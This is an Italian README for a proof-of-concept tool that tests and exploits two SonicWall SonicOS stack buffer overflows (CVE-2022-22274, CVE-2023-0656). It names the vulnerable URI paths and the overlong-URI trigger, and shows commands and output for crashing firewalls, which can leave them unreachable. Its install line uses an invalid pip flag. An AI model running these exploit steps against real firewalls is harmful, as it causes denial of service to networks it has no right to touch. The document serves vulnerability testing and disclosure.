
Exploit proof-of-concept per i buffer overflow basati su stack in SonicWall SonicOS (CVE-2022-22274, CVE-2023-0656) tramite richieste HTTP manipolate, che consentono test sicuri o sfruttamento di crash di firewall vulnerabili.

Il 24 marzo 2022, SonicWall ha rilasciato un avviso con i seguenti dettagli:
Una vulnerabilità di buffer overflow basato sullo stack in SonicOS tramite una richiesta HTTP permette a un utente malintenzionato remoto non autenticato di causare un Denial of Service (DoS) o potenzialmente portare all'esecuzione di codice nel firewall.
NOTA: Questa vulnerabilità IMPATTA SOLO l'interfaccia di "gestione web", l'interfaccia SonicOS SSLVPN non è interessata.
Il 2 marzo 2023, SonicWall ha rilasciato un altro avviso, simile:
Una vulnerabilità di buffer overflow basato sullo stack in SonicOS permette a un utente malintenzionato remoto non autenticato di causare un Denial of Service (DoS), che potrebbe far crashare il firewall interessato.
NOTA: Questa vulnerabilità IMPATTA SOLO l'interfaccia di "gestione web", l'interfaccia SonicOS SSLVPN non è interessata.
Entrambi i problemi sono correlati allo stesso schema di codice vulnerabile e utilizzano lo stesso payload di exploit, ma vengono attivati su percorsi URI diversi.
Il buffer overflow viene attivato tramite una richiesta HTTP con un percorso URI più lungo di 1024 caratteri. CVE-2022-22274 può essere sfruttato su /resources/ o sul percorso URI di Advanced Threat Protection (/atp/ se abilitato o // se disabilitato). CVE-2023-0656 può essere sfruttato su /stats/ o /Security_Services.
Questo repository contiene uno script proof-of-concept per testare la sfruttabilità di un target su tutti e quattro i percorsi URI. Di default esegue un test sicuro, ma ha anche la capacità di sfruttare i bug e crashare il target.
NOTA: Nella configurazione predefinita, 3 crash consecutivi in un breve periodo di tempo faranno riavviare SonicOS in modalità debug e il dispositivo non sarà raggiungibile finché un amministratore non lo riporterà online. Usalo con responsabilità!
Installa Python 3 ed esegui python -m pip install -y argparse.
usage: poc.py [-h] [-t] [-x {1,2,3,4,5}] [-s] target
positional arguments:
target hostname[:port] (port defaults to 443)
options:
-h, --help mostra questo messaggio di aiuto ed esce
-t, --test testa in sicurezza la vulnerabilità (azione predefinita)
-x {1,2,3,4,5}, --exploit {1,2,3,4,5}
sfrutta il target (attiva un crash). 1=/resources/ 2=// 3=/atp/ 4=/stats/ 5=/Security_Services
-s, --skip-header-check
salta il controllo iniziale dell'header di risposta SonicWALL
Testa un target vulnerabile:
$ ./poc.py 192.168.50.29
[*] Checking https://192.168.50.29:443
[+] Confirmed target is running SonicOS
[*] Testing CVE-2022-22274 at /resources/
[+] Target looks vulnerable! (redirected)
[*] Testing CVE-2022-22274 at //
[+] Target looks vulnerable! (redirected)
[*] Testing CVE-2022-22274 at /atp/
[-] Target does not appear to be affected (HTTP 404)
[*] Testing CVE-2023-0656 at /stats/
[+] Target looks vulnerable! (redirected)
[*] Testing CVE-2023-0656 at /Security_Services
[+] Target looks vulnerable! (redirected)
Sfrutta un target vulnerabile:
$ ./poc.py -x 1 192.168.50.29
[*] Checking https://192.168.50.29:443
[+] Confirmed target is running SonicOS
[*] Triggering exploit at /resources/
[+] Exploit succeeded! (target unavailable)
Testa e sfrutta un target corretto:
$ ./poc.py -tx 4 192.168.50.31
[*] Checking https://192.168.50.31:443
[+] Confirmed target is running SonicOS
[*] Testing CVE-2022-22274 at /resources/
[-] Target appears to be patched (empty response)
[*] Testing CVE-2022-22274 at //
[-] Target appears to be patched (empty response)
[*] Testing CVE-2022-22274 at /atp/
[-] Target does not appear to be affected (HTTP 404)
[*] Testing CVE-2023-0656 at /stats/
[-] Target appears to be patched (empty response)
[*] Testing CVE-2023-0656 at /Security_Services
[-] Target appears to be patched (empty response)
[*] Triggering exploit at /stats/
[-] Exploit failed (target responded)
Questo progetto è concesso in licenza sotto GNU GPL 3.0.